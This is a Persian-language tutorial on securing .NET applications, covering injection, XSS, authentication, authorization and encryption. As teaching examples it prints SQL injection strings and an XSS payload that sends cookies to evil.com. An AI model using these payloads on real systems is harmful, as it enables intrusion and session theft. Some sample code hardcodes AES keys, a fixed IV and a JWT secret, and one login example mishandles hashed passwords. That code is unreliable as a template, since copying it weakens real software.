021-88881776

آموزش امنیت در .NET

آموزش .NET از همان ابتدا به ما یاد می‌دهد که امنیت چیزی فراتر از یک گزینه اضافی است؛ بلکه بخشی ضروری از توسعه نرم‌افزار محسوب می‌شود. فریم‌ورک .NET ابزارها و قابلیت‌های متعددی برای محافظت از برنامه‌ها در برابر تهدیدات امنیتی ارائه می‌دهد. اما بدون درک درست مفاهیم و استفاده صحیح از این ابزارها، امنیت برنامه شما در معرض خطر قرار می‌گیرد. در این مقاله، با اصول امنیت در .NET آشنا می‌شوید، از احراز هویت گرفته تا رمزنگاری داده‌ها، تا بتوانید برنامه‌هایی ایمن و قابل اعتماد بسازید.

مفاهیم امنیتی پایه

امنیت چیست و چرا مهم است؟

امنیت در دنیای دیجیتال به معنای محافظت از دارایی‌های ارزشمند یک برنامه—مثل داده‌ها، کاربران، و زیرساخت‌های سیستمی—در برابر هر نوع تهدید است. این تهدیدات شامل دسترسی غیرمجاز (مثل ورود یک هکر به سیستم)، تغییر غیرقانونی داده‌ها (مثل دستکاری اطلاعات بانکی)، یا حتی از بین بردن کامل سیستم (مثل حملات DDoS) می‌شوند. در توسعه با فریم‌ورک .NET، امنیت در .NET به استفاده از ابزارها، تکنیک‌ها و بهترین شیوه‌هایی اشاره دارد که برنامه شما را در برابر این خطرات ایمن نگه می‌دارد.

چرا باید به امنیت اهمیت بدهیم؟

بیایید با یک مثال واقعی شروع کنیم: فرض کنید یک وب‌سایت فروشگاهی با ASP.NET Core ساخته‌اید. اگر امنیت آن ضعیف باشد، هکرها می‌توانند اطلاعات کارت اعتباری مشتریان را بدزدند، سفارش‌های جعلی ثبت کنند، یا حتی کل پایگاه داده را پاک کنند. نتیجه؟ ضرر مالی، از دست دادن اعتماد مشتریان، و حتی مشکلات قانونی. امنیت فقط یک ویژگی اضافی نیست؛ بلکه ستون اصلی هر برنامه موفق است. در واقع، امنیت در .NET تضمین می‌کند که برنامه شما نه تنها کار کند، بلکه در برابر دنیای پر از تهدیدات سایبری مقاوم باشد.

امنیت چه بخش‌هایی را شامل می‌شود؟

محرمانگی (Confidentiality): مطمئن شوید که داده‌های حساس فقط برای افراد مجاز قابل دسترسی باشند.
یکپارچگی (Integrity): داده‌ها نباید به‌طور غیرمجاز تغییر کنند.
دسترسی‌پذیری (Availability): برنامه باید همیشه برای کاربران合法 در دسترس باشد.

تهدیدات رایج

شناخت تهدیدات امنیتی اولین قدم برای دفاع در برابر آنهاست. در اینجا تهدیدات اصلی را با جزئیات و مثال‌های عملی بررسی می‌کنیم:

1. تزریق کد (Injection)

این نوع حمله زمانی رخ می‌دهد که هکر از طریق ورودی‌های کاربر (مثل فرم‌ها یا URLها) کد مخرب را وارد برنامه شما می‌کند. معروف‌ترین نوع آن SQL Injection است، اما تزریق می‌تواند در جاهای دیگر مثل دستورات سیستم‌عامل یا LDAP هم اتفاق بیفتد.

مثال عملی: فرض کنید یک فرم جستجو دارید که نام محصول را می‌گیرد:

string query = "SELECT * FROM Products WHERE Name = '" + txtSearch.Text + "'";
SqlCommand cmd = new SqlCommand(query, connection);

اگر کاربر عبارت ‘; DROP TABLE Products; — را وارد کند، کوئری به این شکل اجرا می‌شود:

SELECT * FROM Products WHERE Name = ''; DROP TABLE Products; --'

نتیجه؟ کل جدول محصولات شما حذف می‌شود!

راه‌حل در .NET: از پارامترهای SQL استفاده کنید:

string query = "SELECT * FROM Products WHERE Name = @Name";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@Name", txtSearch.Text);

این روش ورودی را به‌عنوان داده خالص در نظر می‌گیرد و از اجرای کد مخرب جلوگیری می‌کند.

2. Cross-Site Scripting (XSS)

این حمله زمانی رخ می‌دهد که هکر کد جاوااسکریپت مخرب را در صفحه وب شما تزریق می‌کند و این کد در مرورگر کاربران اجرا می‌شود. XSS می‌تواند برای سرقت کوکی‌ها، جعل هویت کاربر، یا نمایش محتوای جعلی استفاده شود.

مثال عملی: فرض کنید یک بخش نظرات دارید و کاربر می‌تواند متن دلخواهش را وارد کند:

<div>@Model.Comment</div>

اگر کاربر <script>document.location=’http://evil.com?cookie=’+document.cookie;</script> را وارد کند و شما آن را بدون فیلتر نمایش دهید، این کد در مرورگر همه بازدیدکنندگان اجرا می‌شود و کوکی‌هایشان به سایت هکر ارسال می‌شود.

راه‌حل در .NET : ASP.NET به‌طور پیش‌فرض خروجی را Encode می‌کند، اما همیشه مطمئن شوید که از @Html.Raw() بدون بررسی استفاده نکنید. همچنین می‌توانید از کتابخانه‌هایی مثل Microsoft.AspNetCore.Html برای پاکسازی ورودی‌ها استفاده کنید.

3. نشت داده‌ها (Data Leakage)

نشت داده‌ها زمانی اتفاق می‌افتد که اطلاعات حساس مثل رمز عبور، کلیدهای API، یا اطلاعات شخصی به‌طور تصادفی یا به دلیل پیکربندی نادرست افشا شوند.

مثال عملی: فرض کنید خطای برنامه شما در محیط واقعی این پیام را نشان دهد:

Exception: Cannot connect to database with ConnectionString: "Server=prod;Database=AppDB;User=sa;Password=12345"

هکر با دیدن این خطا، اطلاعات ورود به دیتابیس را به دست می‌آورد!

راه‌حل: خطاها را فقط در محیط توسعه (Development) نمایش دهید و از فایل‌های تنظیمات امن مثل appsettings.json با رمزنگاری استفاده کنید.

4. حملات Man-in-the-Middle (MITM)

در این حمله، هکر ارتباط بین کاربر و سرور را شنود می‌کند، مثلاً در یک شبکه Wi-Fi عمومی. اگر از HTTP به‌جای HTTPS استفاده کنید، اطلاعات حساس مثل رمز عبور به‌صورت متن ساده ارسال می‌شوند و قابل سرقت هستند.

مثال: کاربر رمز عبور خود را در یک فرم HTTP وارد می‌کند؛ هکر آن را می‌بیند و حسابش را می‌دزدد.

راه‌حل در .NET: همیشه HTTPS را اجباری کنید:

app.UseHttpsRedirection();

5. سوءاستفاده از منطق برنامه (Business Logic Abuse)

گاهی هکرها از ضعف منطق برنامه سوءاستفاده می‌کنند، نه باگ‌های فنی. مثلاً اگر قیمت محصول را در سمت کلاینت تغییر دهند و سرور آن را بررسی نکند، می‌توانند خرید رایگان انجام دهند.

راه‌حل: همیشه اعتبارسنجی را در سمت سرور انجام دهید.

مثال عملی پیشرفته‌تر

فرض کنید یک سیستم مدیریت کتابخانه با .NET طراحی کرده‌اید. کاربر باید نام کاربری و رمز عبور وارد کند تا کتاب امانت بگیرد. کد ناامن شما این‌گونه است:

string query = $"SELECT * FROM Users WHERE Username = '{txtUsername.Text}' AND Password = '{txtPassword.Text}'";
SqlDataReader reader = new SqlCommand(query, connection).ExecuteReader();
if (reader.HasRows) { /* ورود موفق */ }

حالا هکر با وارد کردن ‘ OR ‘1’=’1 در نام کاربری و رمز عبور، وارد سیستم می‌شود. اما نسخه امن‌تر این‌گونه است:

string query = "SELECT * FROM Users WHERE Username = @Username AND Password = @Password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@Username", txtUsername.Text);
cmd.Parameters.AddWithValue("@Password", HashPassword(txtPassword.Text)); // هش کردن رمز عبور
SqlDataReader reader = cmd.ExecuteReader();
if (reader.HasRows) { /* ورود موفق */ }

اینجا نه تنها از پارامترها استفاده شده، بلکه رمز عبور هم هش شده تا در دیتابیس به‌صورت متن ساده ذخیره نشود.

نکات کلیدی برای مبتدیان

ورودی‌ها را هرگز اعتماد نکنید: هر چیزی که کاربر وارد می‌کند ممکن است مخرب باشد.
از ابزارهای .NET استفاده کنید: ابزارهایی مثل Entity Framework و Razor به‌طور پیش‌فرض امنیت را بالا می‌برند.
آموزش مداوم: تهدیدات امنیتی همیشه در حال تغییرند؛ همیشه به‌روز باشید.

نمودار مفهومی

برای درک بهتر، تهدیدات و دفاع را این‌گونه تصور کنید:

ورودی کاربر → [فیلتر ورودی] → [پردازش امن با .NET] → [خروجی ایمن]
        ↑          ↑                   ↑                  ↑
    تهدیدات    اعتبارسنجی       ابزارهای امنیتی    نتیجه امن

احراز هویت و مجوزدهی

احراز هویت (Authentication) چیست؟

احراز هویت فرآیندی است که هویت یک کاربر، دستگاه، یا سیستم را تأیید می‌کند تا مطمئن شوید کسی که سعی در دسترسی به برنامه دارد، واقعاً همان کسی است که ادعا می‌کند. به عبارت دیگر، احراز هویت مثل نگهبان درب ورودی است که از شما مدرک شناسایی می‌خواهد. در فریم‌ورک .NET، امنیت در .NET از طریق سیستم‌های احراز هویت متنوع و قدرتمندی مثل ASP.NET Core Identity، احراز هویت مبتنی بر کوکی، توکن‌ها (مانند JWT)، و پروتکل‌های استاندارد مثل OAuth2 و OpenID Connect پشتیبانی می‌شود.

چرا احراز هویت ضروری است؟

بدون احراز هویت، هیچ راهی برای تشخیص کاربران واقعی از مهاجمان وجود ندارد. مثلاً در یک برنامه مدیریت پروژه، اگر احراز هویت نداشته باشید، هر کسی می‌تواند به‌عنوان مدیر وارد شود و وظایف را تغییر دهد یا اطلاعات محرمانه را ببیند. احراز هویت پایه‌ای‌ترین لایه امنیتی است که از دسترسی غیرمجاز جلوگیری می‌کند.

انواع احراز هویت در .NET

مبتنی بر کوکی (Cookie-based Authentication): پس از ورود کاربر، یک کوکی رمزنگاری‌شده در مرورگر او ذخیره می‌شود که هویتش را تأیید می‌کند.
مبتنی بر توکن (Token-based Authentication): از توکن‌هایی مثل JWT استفاده می‌شود که بیشتر در APIها و برنامه‌های توزیع‌شده کاربرد دارد.
احراز هویت خارجی (External Authentication): امکان ورود با حساب‌های گوگل، فیسبوک، یا توییتر از طریق OAuth یا OpenID Connect.
احراز هویت ویندوزی (Windows Authentication): برای برنامه‌های داخلی سازمانی که با Active Directory یکپارچه می‌شوند.

پیاده‌سازی ساده: احراز هویت با کوکی

در ASP.NET Core، می‌توانید یک سیستم احراز هویت مبتنی بر کوکی را این‌گونه تنظیم کنید:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
        .AddCookie(options =>
        {
            options.LoginPath = "/Account/Login"; // مسیر ورود
            options.LogoutPath = "/Account/Logout"; // مسیر خروج
            options.AccessDeniedPath = "/Account/AccessDenied"; // مسیر عدم دسترسی
            options.ExpireTimeSpan = TimeSpan.FromHours(1); // انقضای کوکی
            options.Cookie.HttpOnly = true; // جلوگیری از دسترسی جاوااسکریپت به کوکی
            options.Cookie.SecurePolicy = CookieSecurePolicy.Always; // فقط در HTTPS
        });
}

این کد یک سیستم احراز هویت مبتنی بر کوکی ایجاد می‌کند که اگر کاربر وارد نشده باشد، به صفحه ورود هدایت می‌شود.

مثال عملی: ورود و تأیید هویت

فرض کنید یک فرم ورود دارید که نام کاربری و رمز عبور را می‌گیرد:

public async Task<IActionResult> Login(LoginViewModel model)
{
    if (ModelState.IsValid)
    {
        // فرض کنید این اطلاعات از دیتابیس بررسی می‌شوند
        if (model.Username == "user1" && model.Password == "password123")
        {
            var claims = new List<Claim>
            {
                new Claim(ClaimTypes.Name, model.Username),
                new Claim(ClaimTypes.Role, "User") // افزودن نقش
            };
            var identity = new ClaimsIdentity(claims, CookieAuthenticationDefaults.AuthenticationScheme);
            var principal = new ClaimsPrincipal(identity);
            await HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, principal);
            return RedirectToAction("Index", "Home");
        }
        ModelState.AddModelError("", "نام کاربری یا رمز عبور اشتباه است.");
    }
    return View(model);
}

این کد پس از تأیید اطلاعات، یک کوکی امن برای کاربر ایجاد می‌کند و او را به صفحه اصلی هدایت می‌کند.

مثال پیشرفته: احراز هویت با JWT

برای APIها، می‌توانید از JWT استفاده کنید:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
        .AddJwtBearer(options =>
        {
            options.TokenValidationParameters = new TokenValidationParameters
            {
                ValidateIssuer = true,
                ValidateAudience = true,
                ValidateLifetime = true,
                ValidateIssuerSigningKey = true,
                ValidIssuer = "yourdomain.com",
                ValidAudience = "yourdomain.com",
                IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("your-secret-key-here"))
            };
        });
}

و برای تولید توکن:

public string GenerateJwtToken(string username)
{
    var claims = new[] { new Claim(ClaimTypes.Name, username) };
    var key = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("your-secret-key-here"));
    var creds = new SigningCredentials(key, SecurityAlgorithms.HmacSha256);
    var token = new JwtSecurityToken(
        issuer: "yourdomain.com",
        audience: "yourdomain.com",
        claims: claims,
        expires: DateTime.Now.AddMinutes(30),
        signingCredentials: creds);
    return new JwtSecurityTokenHandler().WriteToken(token);
}

 

مجوزدهی (Authorization) چیست؟

مجوزدهی فرآیندی است که پس از احراز هویت انجام می‌شود و تعیین می‌کند کاربر چه دسترسی‌هایی دارد. مثلاً آیا می‌تواند یک فایل را حذف کند؟ فقط بخواند؟ یا به بخش تنظیمات دسترسی داشته باشد؟ در .NET، مجوزدهی از طریق نقش‌ها (Roles)، ادعاها (Claims)، و سیاست‌ها (Policies) مدیریت می‌شود.

انواع مجوزدهی در .NET

مبتنی بر نقش (Role-based Authorization): ساده‌ترین روش که دسترسی را بر اساس نقش کاربر (مثل “Admin” یا “User”) تعیین می‌کند.
مبتنی بر ادعا (Claim-based Authorization): بر اساس ویژگی‌های خاص کاربر (مثل سن، مکان، یا شماره عضویت) تصمیم‌گیری می‌شود.
مبتنی بر سیاست (Policy-based Authorization): قوانین پیچیده‌تر و سفارشی برای دسترسی تعریف می‌شود.

مثال ساده: مجوزدهی با نقش

فرض کنید فقط مدیران بتوانند به یک صفحه دسترسی داشته باشند:

[Authorize(Roles = "Admin")]
public class AdminController : Controller
{
    public IActionResult Index()
    {
        return View();
    }
}

اگر کاربر نقش “Admin” نداشته باشد، دسترسی او رد می‌شود.

مثال پیشرفته: مجوزدهی با سیاست

فرض کنید فقط کاربرانی که بالای 18 سال هستند و در یک کشور خاص زندگی می‌کنند، به یک بخش دسترسی داشته باشند:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthorization(options =>
    {
        options.AddPolicy("AdultInCountry", policy =>
            policy.RequireAssertion(context =>
            {
                var dob = context.User.FindFirst(ClaimTypes.DateOfBirth)?.Value;
                var country = context.User.FindFirst(ClaimTypes.Country)?.Value;
                if (dob == null || country == null) return false;
                var age = DateTime.Today.Year - DateTime.Parse(dob).Year;
                return age >= 18 && country == "IR";
            }));
    });
}

و در کنترلر:

[Authorize(Policy = "AdultInCountry")]
public IActionResult RestrictedArea()
{
    return View();
}

سناریوی واقعی: سیستم مدیریت محتوا

تصور کنید یک CMS دارید:

نویسنده (Author): می‌تواند مقاله بنویسد و ویرایش کند.
ویراستار (Editor): می‌تواند مقالات را تأیید یا رد کند.
مدیر (Admin): می‌تواند همه چیز را مدیریت کند. پیاده‌سازی با نقش‌ها:

[Authorize(Roles = "Author, Editor")]
public IActionResult EditPost(int id) { /* منطق ویرایش */ }

[Authorize(Roles = "Editor")]
public IActionResult ApprovePost(int id) { /* منطق تأیید */ }

[Authorize(Roles = "Admin")]
public IActionResult ManageUsers() { /* مدیریت کاربران */ }

نکات امنیتی کلیدی

استفاده از HTTPS: اطلاعات احراز هویت (مثل کوکی‌ها یا توکن‌ها) باید رمزنگاری شوند:

app.UseHttpsRedirection();

کوکی‌های امن: از تنظیمات امنیتی برای کوکی‌ها استفاده کنید:

options.Cookie.SameSite = SameSiteMode.Strict; // جلوگیری از CSRF
options.Cookie.HttpOnly = true; // جلوگیری از دسترسی جاوااسکریپت

احراز هویت چند عاملی (MFA): در ASP.NET Identity می‌توانید MFA را فعال کنید:

services.AddIdentity<ApplicationUser, IdentityRole>()
    .AddTwoFactorAuthentication();

محدود کردن دسترسی پیش‌فرض: همیشه دسترسی را به‌صورت پیش‌فرض رد کنید مگر اینکه صراحتاً مجاز باشد.

نمودار مفهومی

کاربر → [ورود: احراز هویت] → [نقش/سیاست: مجوزدهی] → [دسترسی به منبع]
   ↑             ↑                    ↑                   ↑
نام/رمز       کوکی/JWT           بررسی دسترسی       نتیجه امن

رمزنگاری و حفاظت از داده‌ها

چرا رمزنگاری مهم است؟

رمزنگاری فرآیند تبدیل داده‌های قابل خواندن (مثل متن ساده) به شکلی غیرقابل خواندن (مثل کد رمزنگاری‌شده) است تا از دسترسی غیرمجاز به اطلاعات حساس جلوگیری کند. داده‌هایی مثل رمز عبور، شماره کارت بانکی، اطلاعات پزشکی، یا اسرار تجاری اگر بدون رمزنگاری ذخیره یا منتقل شوند، در صورت سرقت به‌راحتی قابل سوءاستفاده هستند. در دنیای واقعی، هکرها دائماً در تلاشند تا به این اطلاعات دسترسی پیدا کنند—چه از طریق شنود شبکه، چه با دسترسی به دیتابیس. امنیت در .NET ابزارهای قدرتمندی ارائه می‌دهد تا مطمئن شوید حتی اگر داده‌ها به دست افراد غیرمجاز بیفتند، قابل استفاده نباشند.

اهمیت رمزنگاری در سناریوهای واقعی

حفاظت از حریم خصوصی: مثلاً در یک اپلیکیشن پزشکی، اطلاعات بیماری患者 نباید برای کسی جز پزشک و بیمار قابل خواندن باشد.
جلوگیری از جعل: رمزنگاری امضاهای دیجیتال تضمین می‌کند که داده‌ها دستکاری نشده‌اند.
انطباق قانونی: بسیاری از مقررات مثل GDPR یا HIPAA شما را ملزم به رمزنگاری داده‌های حساس می‌کنند.
بدون رمزنگاری، برنامه شما مثل یک خانه بدون قفل است—هر کسی می‌تواند وارد شود و هر چیزی را بردارد!

رمزنگاری در .NET

فریم‌ورک .NET مجموعه‌ای غنی از الگوریتم‌ها و کلاس‌های رمزنگاری را در فضای نام System.Security.Cryptography ارائه می‌دهد. این ابزارها شامل الگوریتم‌های متقارن (مثل AES)، نامتقارن (مثل RSA)، و توابع هش (مثل SHA) هستند. بیایید این موارد را با جزئیات بررسی کنیم.

الگوریتم‌های متقارن: AES

رمزنگاری متقارن از یک کلید مشترک برای رمزنگاری و رمزگشایی استفاده می‌کند. الگوریتم AES (Advanced Encryption Standard) یکی از امن‌ترین و پرکاربردترین گزینه‌هاست.

مثال عملی: رمزنگاری با AES

فرض کنید می‌خواهید یک پیام حساس را رمزنگاری کنید:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class EncryptionHelper
{
    public static string Encrypt(string plainText, byte[] key, byte[] iv)
    {
        using (Aes aes = Aes.Create())
        {
            aes.Key = key; // کلید 256 بیتی
            aes.IV = iv;   // بردار اولیه 128 بیتی
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
            using (MemoryStream ms = new MemoryStream())
            {
                using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
                {
                    using (StreamWriter sw = new StreamWriter(cs))
                    {
                        sw.Write(plainText);
                    }
                    return Convert.ToBase64String(ms.ToArray());
                }
            }
        }
    }

    public static string Decrypt(string cipherText, byte[] key, byte[] iv)
    {
        using (Aes aes = Aes.Create())
        {
            aes.Key = key;
            aes.IV = iv;
            ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
            using (MemoryStream ms = new MemoryStream(Convert.FromBase64String(cipherText)))
            {
                using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
                {
                    using (StreamReader sr = new StreamReader(cs))
                    {
                        return sr.ReadToEnd();
                    }
                }
            }
        }
    }
}

// استفاده در برنامه
public static void Main()
{
    byte[] key = Encoding.UTF8.GetBytes("12345678901234567890123456789012"); // 32 بایت
    byte[] iv = Encoding.UTF8.GetBytes("1234567890123456"); // 16 بایت
    string original = "داده محرمانه";
    string encrypted = Encrypt(original, key, iv);
    string decrypted = Decrypt(encrypted, key, iv);
    Console.WriteLine($"متن اصلی: {original}");
    Console.WriteLine($"متن رمزنگاری‌شده: {encrypted}");
    Console.WriteLine($"متن رمزگشایی‌شده: {decrypted}");
}

توضیحات:

key و iv باید به ترتیب 32 و 16 بایت باشند (برای AES-256).
خروجی رمزنگاری به‌صورت Base64 است تا بتوان آن را به‌راحتی ذخیره یا منتقل کرد.
این روش برای رمزنگاری داده‌هایی مثل اطلاعات کاربر در دیتابیس عالی است.

الگوریتم‌های نامتقارن: RSA

رمزنگاری نامتقارن از دو کلید استفاده می‌کند: عمومی (Public) برای رمزنگاری و خصوصی (Private) برای رمزگشایی. RSA برای تبادل امن کلیدها یا امضای دیجیتال کاربرد دارد.

مثال عملی: رمزنگاری با RSA

using System.Security.Cryptography;

public class RsaEncryption
{
    public static (RSAParameters PublicKey, RSAParameters PrivateKey) GenerateKeys()
    {
        using (RSA rsa = RSA.Create(2048)) // اندازه کلید 2048 بیتی
        {
            return (rsa.ExportParameters(false), rsa.ExportParameters(true));
        }
    }

    public static byte[] Encrypt(string plainText, RSAParameters publicKey)
    {
        using (RSA rsa = RSA.Create())
        {
            rsa.ImportParameters(publicKey);
            return rsa.Encrypt(Encoding.UTF8.GetBytes(plainText), RSAEncryptionPadding.OaepSHA256);
        }
    }

    public static string Decrypt(byte[] cipherText, RSAParameters privateKey)
    {
        using (RSA rsa = RSA.Create())
        {
            rsa.ImportParameters(privateKey);
            byte[] decrypted = rsa.Decrypt(cipherText, RSAEncryptionPadding.OaepSHA256);
            return Encoding.UTF8.GetString(decrypted);
        }
    }
}

کاربرد: مثلاً برای ارسال کلید AES به سرور دیگر، ابتدا آن را با RSA رمزنگاری می‌کنید.

حفاظت از داده‌ها

رمزنگاری تنها بخشی از حفاظت از داده‌هاست. تکنیک‌های دیگری مثل هش کردن (Hashing)، ماسک کردن (Masking)، و مدیریت کلیدها نیز حیاتی هستند.

هش کردن (Hashing) برای رمز عبور

هش کردن فرآیندی یک‌طرفه است که داده‌ها را به یک مقدار ثابت (هش) تبدیل می‌کند که قابل برگشت نیست. این برای ذخیره رمز عبور عالی است چون حتی اگر دیتابیس هک شود، رمز اصلی قابل بازیابی نیست.

مثال با BCrypt

using BCrypt.Net;

public class PasswordManager
{
    public static string HashPassword(string password)
    {
        return BCrypt.Net.BCrypt.HashPassword(password, 12); // عدد 12 نشان‌دهنده پیچیدگی
    }

    public static bool VerifyPassword(string password, string hashedPassword)
    {
        return BCrypt.Net.BCrypt.Verify(password, hashedPassword);
    }
}

// استفاده
public static void Main()
{
    string password = "MySecurePass123";
    string hashed = HashPassword(password);
    bool isValid = VerifyPassword(password, hashed);
    Console.WriteLine($"رمز هش‌شده: {hashed}");
    Console.WriteLine($"تأیید: {isValid}");
}

مزیت: BCrypt به‌طور خودکار Salt اضافه می‌کند تا حملات Rainbow Table بی‌اثر شوند.

حفاظت در انتقال داده‌ها

برای حفاظت از داده‌ها در حین انتقال (مثلاً بین کلاینت و سرور)، همیشه از HTTPS استفاده کنید و در صورت نیاز، داده‌ها را قبل از ارسال رمزنگاری کنید.

مدیریت کلیدها

کلیدهای رمزنگاری (مثل key و iv در AES) باید امن بمانند:

از Data Protection API در .NET استفاده کنید:

services.AddDataProtection()
    .PersistKeysToFileSystem(new DirectoryInfo(@"c:\keys"))
    .SetApplicationName("MyApp");

یا از Azure Key Vault برای ذخیره کلیدها در محیط ابری استفاده کنید.

نکات امنیتی پیشرفته

انتخاب الگوریتم مناسب: از الگوریتم‌های قدیمی مثل DES یا MD5 استفاده نکنید؛ AES و SHA-256 استانداردهای امن فعلی هستند.
طول کلید: برای AES، از 256 بیت و برای RSA از 2048 بیت یا بیشتر استفاده کنید.
Salt در هش: همیشه از Salt تصادفی برای هر رمز عبور استفاده کنید.
چرخش کلیدها: کلیدهای رمزنگاری را به‌صورت دوره‌ای تغییر دهید.

نمودار مفهومی

داده حساس → [هش/رمزنگاری] → داده امن → [انتقال/ذخیره] → [رمزگشایی/تأیید] → داده قابل استفاده
   ↑              ↑                  ↑                  ↑                   ↑
ورودی          الگوریتم         حفاظت             انتقال امن         نتیجه

نتیجه‌گیری

امنیت در .NET یکی از مهم‌ترین جنبه‌های توسعه نرم‌افزار است که نمی‌توان آن را نادیده گرفت. در این مقاله، از مفاهیم پایه مثل شناخت تهدیدات امنیتی و اهمیت حفاظت از داده‌ها شروع کردیم و به موضوعات پیشرفته‌تری مثل احراز هویت، مجوزدهی، و رمزنگاری پرداختیم. فریم‌ورک .NET با ارائه ابزارهایی قدرتمند مانند ASP.NET Core Identity، الگوریتم‌های رمزنگاری AES و RSA، و تکنیک‌های هش کردن، به شما این امکان را می‌دهد که برنامه‌هایی ایمن و قابل اعتماد بسازید. پیاده‌سازی درست امنیت در .NET نه تنها از داده‌های کاربران محافظت می‌کند، بلکه اعتماد آن‌ها را جلب کرده و از مشکلات قانونی و مالی جلوگیری می‌کند. حالا که با این ابزارها و اصول آشنا شدید، وقت آن است که دست به کار شوید و امنیت را به‌عنوان بخشی جدایی‌ناپذیر از پروژه‌های خود در نظر بگیرید. با تمرین و استفاده از این تکنیک‌ها، می‌توانید مطمئن باشید که برنامه‌هایتان در برابر تهدیدات دنیای دیجیتال مقاوم خواهند بود.

آموزش امنیت در .NET

دیدگاه های شما

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *